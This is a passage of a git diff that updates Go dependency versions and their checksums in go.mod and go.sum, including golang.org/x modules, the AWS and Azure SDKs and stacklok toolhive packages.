sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 // indirect sigs.k8s.io/randfill v1.0.0 // indirect sigs.k8s.io/structured-merge-diff/v6 v6.3.2-0.20260122202528-d9cc6641c482 // indirect @@ -344,8 +344,8 @@ require ( go.opentelemetry.io/otel v1.44.0 go.opentelemetry.io/otel/metric v1.44.0 go.opentelemetry.io/otel/trace v1.44.0 - golang.org/x/crypto v0.53.0 + golang.org/x/crypto v0.54.0 golang.org/x/exp v0.0.0-20260410095643-746e56fc9e2f // indirect - golang.org/x/sys v0.46.0 + golang.org/x/sys v0.47.0 k8s.io/client-go v0.35.3 ) diff --git a/go.sum b/go.sum index ea5c021656..f31ded8863 100644 --- a/go.sum +++ b/go.sum @@ -26,10 +26,10 @@ github.com/AdaLogics/go-fuzz-headers v0.0.0-20240806141605-e8a1dd7889d6 h1:He8af github.com/AdaLogics/go-fuzz-headers v0.0.0-20240806141605-e8a1dd7889d6/go.mod h1:8o94RPi1/7XTJvwPpRSzSUedZrtlirdB3r9Z20bi2f8= github.com/AdamKorcz/go-fuzz-headers-1 v0.0.0-20230919221257-8b5d3ce2d11d h1:zjqpY4C7H15HjRPEenkS4SAn3Jy2eRRjkjZbGR30TOg= github.com/AdamKorcz/go-fuzz-headers-1 v0.0.0-20230919221257-8b5d3ce2d11d/go.mod h1:XNqJ7hv2kY++g8XEHREpi+JqZo3+0l+CH2egBVN4yqM= -github.com/Azure/azure-sdk-for-go/sdk/azcore v1.21.1 h1:jHb/wfvRikGdxMXYV3QG/SzUOPYN9KEUUuC0Yd0/vC0= -github.com/Azure/azure-sdk-for-go/sdk/azcore v1.21.1/go.mod h1:pzBXCYn05zvYIrwLgtK8Ap8QcjRg+0i76tMQdWN6wOk= -github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.13.1 h1:Hk5QBxZQC1jb2Fwj6mpzme37xbCDdNTxU7O9eb5+LB4= -github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.13.1/go.mod h1:IYus9qsFobWIc2YVwe/WPjcnyCkPKtnHAqUYeebc8z0= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.22.0 h1:aokoqcHvaGjiM3VpjKDfMMnF/8epJ+Q1HLJ7CudztqE= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.22.0/go.mod h1:/WYEx9pcM9Y+Dd/APJaNlSvVSvzl54rrMdZT5+Oi2LM= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.14.0 h1:CU4+EJeJi3TKYWEcYuSdWsjzw0nVsK/H0MSQOiPcymU= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.14.0/go.mod h1:q0+UTSRvShwUCrR/s5HtyInYphN7Wvxb7snFM3u+SLA= github.com/Azure/azure-sdk-for-go/sdk/internal v1.12.0 h1:fhqpLE3UEXi9lPaBRpQ6XuRW0nU7hgg4zlmZZa+a9q4= github.com/Azure/azure-sdk-for-go/sdk/internal v1.12.0/go.mod h1:7dCRMLwisfRH3dBupKeNCioWYUZ4SS09Z14H+7i8ZoY= github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.5.0 h1:MaKvxE6D0KkjOg6Wd9M00iqP5PR0kUxCfiezes4JweM= @@ -38,8 +38,8 @@ github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.2.0 h1:nCYfg github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.2.0/go.mod h1:ucUjca2JtSZboY8IoUqyQyuuXvwbMBVwFOm0vdQPNhA= github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c h1:udKWzYgxTojEKWjV8V+WSxDXJ4NFATAsZjh8iIbsQIg= github.com/Azure/go-ansiterm v0.0.0-20250102033503-faa5f7b0171c/go.mod h1:xomTg63KZ2rFqZQzSB4Vz2SUXa1BpHTVz9L5PTmPC4E= -github.com/AzureAD/microsoft-authentication-library-for-go v1.7.0 h1:4iB+IesclUXdP0ICgAabvq2FYLXrJWKx1fJQ+GxSo3Y= -github.com/AzureAD/microsoft-authentication-library-for-go v1.7.0/go.mod h1:HKpQxkWaGLJ+D/5H8QRpyQXA1eKjxkFlOMwck5+33Jk= +github.com/AzureAD/microsoft-authentication-library-for-go v1.7.2 h1:RHK7bS+HQMslb1sZpAokUt+zTVmue0hKSs2C791hhzU= +github.com/AzureAD/microsoft-authentication-library-for-go v1.7.2/go.mod h1:HKpQxkWaGLJ+D/5H8QRpyQXA1eKjxkFlOMwck5+33Jk= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/KyleBanks/depth v1.2.1 h1:5h8fQADFrWtarTdtDudMmGsC7GPbOAu6RVB3ffsVFHc= github.com/KyleBanks/depth v1.2.1/go.mod h1:jzSb9d0L43HxTQfT+oSA1EEp2q+ne2uh6XgeJcm8brE= @@ -67,10 +67,10 @@ github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI= github.com/aws/aws-sdk-go-v2 v1.42.1 h1:9eOTgu1z/dVtYpNZ3/8/XbbaX0x/BqE3HUzAzs6K0ek= github.com/aws/aws-sdk-go-v2 v1.42.1/go.mod h1:5pKeft2eJj+gElQ38Jqg4ibCqh+/AK33/0X3hip7IjM= -github.com/aws/aws-sdk-go-v2/config v1.32.28 h1:qY6afygxK5c2PPU3Sz8W6yB5W44RF1vnmPdBwViDN+Y= -github.com/aws/aws-sdk-go-v2/config v1.32.28/go.mod h1:WeS/wN1IDs8YC+BxTrFz9ZyJ1rufRBQfirOcDusEpmQ= -github.com/aws/aws-sdk-go-v2/credentials v1.19.27 h1:cFksKkdaBGGmpe6XJpvrxFNWkbXY5/gwFqZNB2O9WCM= -github.com/aws/aws-sdk-go-v2/credentials v1.19.27/go.mod h1:20CoObBgNhFfl8/ggDQu2IZmItxDhkLcWSy4C3alDPI= +github.com/aws/aws-sdk-go-v2/config v1.32.30 h1:XwsEzpTJfQYJbFicz/QMLwAZdyeNVVoOEkbF7R3gPJk= +github.com/aws/aws-sdk-go-v2/config v1.32.30/go.mod h1:Ud32SuMc+/9BGxfpSVld7HrE2o05JwKmXY4M3jOQNZU= +github.com/aws/aws-sdk-go-v2/credentials v1.19.29 h1:WHZGssHH887cO0ox07SIQZsFx3MKD4ps6w0xUEmnKYQ= +github.com/aws/aws-sdk-go-v2/credentials v1.19.29/go.mod h1:Mhl0xR6zjguiuj00XRx2wMx22sAltk7oya39sT7fdg8= github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.30 h1:/hi1JADLEW9YYryEz1w4GQu0EtP23pP553Cf9KgsDV4= github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.30/go.mod h1:/3AOgy4K17Dm4ucMZVC/MJkzy5kmfKUcINRHZyo0koQ= github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.30 h1:xM/Is9cKMHa8Jj8zkvWhvrFkZsXJV9E+BB4g0HW0duQ= @@ -85,14 +85,14 @@ github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.30 h1:/Z5jmNrK github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.30/go.mod h1:lEzEZnOosE7zi8Z6royW1cFJTD9fpab4Ul1SBrllewk= github.com/aws/aws-sdk-go-v2/service/kms v1.52.0 h1:QNtg+Mtj1zmepk568+UKBD5DFfqh+ESTUUqQT27JkQc= github.com/aws/aws-sdk-go-v2/service/kms v1.52.0/go.mod h1:Y0+uxvxz6ib4KktRdK0V4X45Vcs/JyYoz8H71pO8xeI= -github.com/aws/aws-sdk-go-v2/service/signin v1.3.0 h1:i0+tbB9QBnzL5NrF2WR/zk8q2s+1N+RaDYr2627E8UI= -github.com/aws/aws-sdk-go-v2/service/signin v1.3.0/go.mod h1:mxC0nT/C8wMMS97DemZPzvUZxvIt+2Iq+eS3JdFZGgg= -github.com/aws/aws-sdk-go-v2/service/sso v1.32.0 h1:qjMmry/cBDee1E/2gyvel0uRYCi3mwRZ2hf6N+GAodo= -github.com/aws/aws-sdk-go-v2/service/sso v1.32.0/go.mod h1:u8af9Nqkmqnr96f7v9nHqzZT9XBwbXEkTiqT4ROuJSE= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.37.0 h1:fpOlDPI55HdszaxapEGk6HsGosOUaM2YPWJpjMgp8UI= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.37.0/go.mod h1:DMPWJBjYs6+3+f/qhBFEFPPlQ6NlhWjai3dJNvipJ84= -github.com/aws/aws-sdk-go-v2/service/sts v1.44.0 h1:bLZ0PolJ8J+HkJHztcXORUpHXBye2U8298lCEMi6ZCU= -github.com/aws/aws-sdk-go-v2/service/sts v1.44.0/go.mod h1:9gdl4RrflIdpDb2TlXshWgR1F9TeCkvqDx77Vpr4Z/Q= +github.com/aws/aws-sdk-go-v2/service/signin v1.4.1 h1:V7ZZ300WPXGjvkyore5DGe0ljVPOxCXie/thWdtSBXE= +github.com/aws/aws-sdk-go-v2/service/signin v1.4.1/go.mod h1:mxC0nT/C8wMMS97DemZPzvUZxvIt+2Iq+eS3JdFZGgg= +github.com/aws/aws-sdk-go-v2/service/sso v1.32.1 h1:gYFYh4iLLcAOJRLNPY2aD2g9DIhKn4eof8UkIrr1rTk= +github.com/aws/aws-sdk-go-v2/service/sso v1.32.1/go.mod h1:u8af9Nqkmqnr96f7v9nHqzZT9XBwbXEkTiqT4ROuJSE= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.37.1 h1:arjT9Cm3/WYbGmD5TUZHk4UQn4Lle1fUNZs5FC6CtF0= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.37.1/go.mod h1:DMPWJBjYs6+3+f/qhBFEFPPlQ6NlhWjai3dJNvipJ84= +github.com/aws/aws-sdk-go-v2/service/sts v1.44.1 h1:RvfHDg+xvAeZ+5741vUEjpOVtYSIm93W2zhx10Xtydw= +github.com/aws/aws-sdk-go-v2/service/sts v1.44.1/go.mod h1:9gdl4RrflIdpDb2TlXshWgR1F9TeCkvqDx77Vpr4Z/Q= github.com/aws/smithy-go v1.27.3 h1:F3Zb497UhhskkfpJmfkXswyo+t0sh9OTBnIHjogWbVY= github.com/aws/smithy-go v1.27.3/go.mod h1:YE2RhdIuDbA5E5bTdciG9KrW3+TiEONeUWCqxX9i1Fc= github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k= @@ -145,8 +145,8 @@ github.com/containerd/log v0.1.0 h1:TCJt7ioM2cr/tfR8GPbGf9/VRAX8D2B4PjzCpfX540I= github.com/containerd/log v0.1.0/go.mod h1:VRRf09a7mHDIRezVKTRCrOq78v577GXq3bSa3EhrzVo= github.com/containerd/platforms v0.2.1 h1:zvwtM3rz2YHPQsF2CHYM8+KtB5dvhISiXh5ZpSBQv6A= github.com/containerd/platforms v0.2.1/go.mod h1:XHCb+2/hzowdiut9rkudds9bE5yJ7npe7dG/wG+uFPw= -github.com/coreos/go-oidc/v3 v3.19.0 h1:F/xyOi3x1UnG1U27YVnM1N6bHiL1K2upi6U/0qr8r+I= -github.com/coreos/go-oidc/v3 v3.19.0/go.mod h1:DYCf24+ncYi+XkIH97GY1+dqoRlbaSI26KVTCI9SrY4= +github.com/coreos/go-oidc/v3 v3.20.0 h1:EtE0WIBHk03N+DqGkY4+UONzzZHk7amKt6IyNd7OsZE= +github.com/coreos/go-oidc/v3 v3.20.0/go.mod h1:DYCf24+ncYi+XkIH97GY1+dqoRlbaSI26KVTCI9SrY4= github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/cpuguy83/dockercfg v0.3.2 h1:DlJTyZGBDlXqUZ2Dk2Q3xHs/FtnooJJVaad2S9GKorA= @@ -365,8 +365,8 @@ github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/google/btree v1.1.3 h1:CVpQJjYgC4VbzxeGVHfvZrv1ctoYCAI8vbl07Fcxlyg= github.com/google/btree v1.1.3/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4= -github.com/google/cel-go v0.29.1 h1:8Gx3S5HPop5XPOHtZI8vkaGk+DBW/nn9fkpNPbh5dBk= -github.com/google/cel-go v0.29.1/go.mod h1:X0bD6iVNR8pkROSOoHVdgTkzmRcosof7WQqCD6wcMc8= +github.com/google/cel-go v0.29.2 h1:ZtDxkeiMmz0mxbKDYiNkE5Lk7V5edMRcaaDf2jX002k= +github.com/google/cel-go v0.29.2/go.mod h1:X0bD6iVNR8pkROSOoHVdgTkzmRcosof7WQqCD6wcMc8= github.com/google/certificate-transparency-go v1.3.3 h1:hq/rSxztSkXN2tx/3jQqF6Xc0O565UQPdHrOWvZwybo= github.com/google/certificate-transparency-go v1.3.3/go.mod h1:iR17ZgSaXRzSa5qvjFl8TnVD5h8ky2JMVio+dzoKMgA= github.com/google/gnostic-models v0.7.0 h1:qwTtogB15McXDaNqTZdzPJRHvaVJlAl+HVQnLmJEJxo= @@ -607,8 +607,8 @@ github.com/moby/sys/userns v0.1.0 h1:tVLXkFOxVu9A64/yh59slHVv9ahO9UIev4JZusOLG/g github.com/moby/sys/userns v0.1.0/go.mod h1:IHUYgu/kao6N8YZlp9Cf444ySSvCmDlmzUcYfDHOl28= github.com/moby/term v0.5.2 h1:6qk3FJAFDs6i/q3W/pQ97SX192qKfZgGjCQqfCJkgzQ= github.com/moby/term v0.5.2/go.mod h1:d3djjFCrjnB+fl8NJux+EJzu0msscUP+f8it8hPkFLc= -github.com/modelcontextprotocol/registry v1.7.9 h1:vpPfx2A2egjhm6YlbwfkX8NkR2N0S2eYmvYXI8bXaBs= -github.com/modelcontextprotocol/registry v1.7.9/go.mod h1:y03zY98e+REsiCaj1sUKzXbk3qEp++Y3gzAnV83wrNs= +github.com/modelcontextprotocol/registry v1.8.0 h1:x/seX0ji4iqRUpSovmkBcGbxfRiZZ7dgPwBcpCJrSTM= +github.com/modelcontextprotocol/registry v1.8.0/go.mod h1:G6AUpTpZSekQvcLl5griUjijEE8vedARE/TyCaHEFdo= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= @@ -789,8 +789,8 @@ github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU= github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY= github.com/stacklok/toolhive-catalog v0.20260706.0 h1:ZgEtTogdPjl2Tc/zamYExRH609HDJxS+EbxgdjmMH/w= github.com/stacklok/toolhive-catalog v0.20260706.0/go.mod h1:J+l8hyYSbIhLCe3IsBJuVpP1wQbsuUXRS5o+B9M0GpU= -github.com/stacklok/toolhive-core v0.0.27 h1:ow2asQoBH+763/gAcZ82pS76ZJFYwGeB22RnDycMFk0= -github.com/stacklok/toolhive-core v0.0.27/go.mod h1:vV9k4vfLGJkCO77QPCbikoE2b3+feAzherLQYdqEejw= +github.com/stacklok/toolhive-core v0.0.28 h1:+ajc8S/YdPm59Ik10pQxDYk75HjpyzwUU/Ru1WiLOO8= +github.com/stacklok/toolhive-core v0.0.28/go.mod h1:t8dqTOjyT67i+xidAS1cRWh3K5qYW38R/NgP7xlvirE= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= @@ -973,8 +973,8 @@ golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5y golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= -golang.org/x/crypto v0.53.0 h1:QZ4Muo8THX6CizN2vPPd5fBGHyogrdK9fG4wLPFUsto= -golang.org/x/crypto v0.53.0/go.mod h1:DNLU434OwVakk9PzuwV8w62mAJpRJL3vsgcfp4Qnsio= +golang.org/x/crypto v0.54.0 h1:YLIA59K4fiNzHzjnZt2tUJQjQtUWfWbeHBqKtk3eScw= +golang.org/x/crypto v0.54.0/go.mod h1:KWL8ny2AZdGR2cWmzeHrp2azQPGogOv+HeQaVEXC2dk= golang.org/x/exp v0.0.0-20260410095643-746e56fc9e2f h1:W3F4c+6OLc6H2lb//N1q4WpJkhzJCK5J6kUi1NTVXfM= golang.org/x/exp v0.0.0-20260410095643-746e56fc9e2f/go.mod h1:J1xhfL/vlindoeF/aINzNzt2Bket5bjo9sdOYzOsU80= golang.org/x/exp/event v0.0.0-20260603202125-055de637280b h1:IpzEcnKaJbfA/HT53pFMUAXzMPT5XdewwIPRg90OQvQ= @@ -990,8 +990,8 @@ golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.10.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/mod v0.37.0 h1:vF1DjpVEshcIqoEaauuHebaLk1O1forxjxBaVn884JQ= -golang.org/x/mod v0.37.0/go.mod h1:m8S8VeM9r4dzDwjrKO0a1sZP3YjeMamRRlD+fmR2Q/0= +golang.org/x/mod v0.38.0 h1:MECBjubtXD7yj4HrhIUcywNaGeNVUdfVnxmPajOk4yk= +golang.org/x/mod v0.38.0/go.mod h1:V6Xz0pq8TQ3dGqVQ1FVHuelZpAL0uNhSkk9ogYP3c40= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= @@ -1007,8 +1007,8 @@ golang.org/x/net v0.0.0-20221002022538-bcab6841153b/go.mod h1:YDH+HFinaLZZlnHAfS golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= -golang.org/x/net v0.56.0 h1:Rw8j/hFzGvJUZwNBXnAtf5sVDVt+65SK2C7IxCxZt5o= -golang.org/x/net v0.56.0/go.mod h1:D3Ku6r+V6JROoZK144D2XfMHFcMq/0zSfLelVTCFKec= +golang.org/x/net v0.57.0 h1:K5+3DljvIuDG9/Jv9rvyMywYNFCQ9RSUY6OOTTkT+tE= +golang.org/x/net v0.57.0/go.mod h1:KpXc8iv+r3XplLAG/f7Jsf9RPszJzdR0f58q9vGOuEU= golang.org/x/oauth2 v0.36.0 h1:peZ/1z27fi9hUOFCAZaHyrpWG5lwe0RJEEEeH0ThlIs= golang.org/x/oauth2 v0.36.0/go.mod h1:YDBUJMTkDnJS+A4BP4eZBjCqtokkg1hODuPjwiGPO7Q= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -1018,8 +1018,8 @@ golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220929204114-8fcdb60fdcc0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.21.0 h1:HLII4xRRTtCRkxYp4HNFF0Js/Og6q2i++KXbg0gHCwM= -golang.org/x/sync v0.21.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= +golang.org/x/sync v0.22.0 h1:SZjpbeLmrCk4xhRSZFNZW5gFUeCeFgjekvI/+gfScek= +golang.org/x/sync v0.22.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -1050,10 +1050,10 @@ golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/sys v0.46.0 h1:noSf2Fq6F8DBgS+LysIkx7rIExoNHJsxOAtPp4rthXw= -golang.org/x/sys v0.46.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= -golang.org/x/telemetry v0.0.0-20260610154732-fb80ec83bdd9 h1:FjUup8XrRy7lv+XHONi6KKUSizeF2NnVrTnz/HhbohQ= -golang.org/x/telemetry v0.0.0-20260610154732-fb80ec83bdd9/go.mod h1:3AWMyWHS+caVoiEXpiq6+tzKA40J4vQT3MYr80ZtQpc= +golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= +golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/telemetry v0.0.0-20260625142307-59b4966ccb57 h1:nwGZBCt+FnXUrGsj5vjzAsEmkcaFvd82BbOjECiFYZc= +golang.org/x/telemetry v0.0.0-20260625142307-59b4966ccb57/go.mod h1:3AWMyWHS+caVoiEXpiq6+tzKA40J4vQT3MYr80ZtQpc= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= @@ -1062,8 +1062,8 @@ golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= -golang.org/x/term v0.44.0 h1:0rLvDRCtNj0gZkyIXhCyOb2OAzEhLVqc4B+hrsBhrmc= -golang.org/x/term v0.44.0/go.mod h1:7ze4MdzUzLXpSAoFP1H0bOI9aXDqveSvatT5vKcFh2Y= +golang.org/x/term v0.45.0 h1:NwWyBmoJCbfTHpxrWoZ9C6/VxOf7ic219I8xZZFdrf0= +golang.org/x/term v0.45.0/go.mod h1:9aqxs0blBcrm/n0L9QW0aRVD+ktan8ssZromtqJC43w= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= @@ -1073,8 +1073,8 @@ golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/text v0.38.0 h1:sXmwo9DwP3OK9EZ7PqAdaooSGozfl/3a6/xJcbzPRhE= -golang.org/x/text v0.38.0/go.mod h1:YXZt3QhHUKYT53r2lLKFIVi6Ao1jdzrTR/KQ09qyxF4= +golang.org/x/text v0.40.0 h1:Ub2Z6/xjgF1WrYQz2nuITOEegKFtiIy+rieRJ5lHZKs= +golang.org/x/text v0.40.0/go.mod h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY= golang.org/x/time v0.15.0 h1:bbrp8t3bGUeFOx08pvsMYRTCVSMk89u4tKbNOZbp88U= golang.org/x/time v0.15.0/go.mod h1:Y4YMaQmXwGQZoFaVFk4YpCt4FLQMYKZe9oeV/f4MSno= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= @@ -1092,8 +1092,8 @@ golang.org/x/tools v0.1.8/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.8.0/go.mod h1:JxBZ99ISMI5ViVkT1tr6tdNmXeTrcpVSD3vZ1RsRdN4= -golang.org/x/tools v0.46.0 h1:7jTurBkPZu4moS/Uy4OQT1M+QBlsj3wejyZwsT8Z7rk= -golang.org/x/tools v0.46.0/go.mod h1:FrD85F8l+NWL+9XWBSyVSHO6Ne4jutsfIFba7AWQ5Ys= +golang.org/x/tools v0.47.0 h1:7Kn5x/d1svx/PzryTsqeoZN4TZwqeH5pGWjefhLi/1Q= +golang.org/x/tools v0.47.0/go.mod h1:dFHnyTvFWY212G+h7ZY4Vsp/K3U4/7W9TyVaAul8uCA= golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= @@ -1182,8 +1182,8 @@ modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0= modernc.org/strutil v1.2.1/go.mod 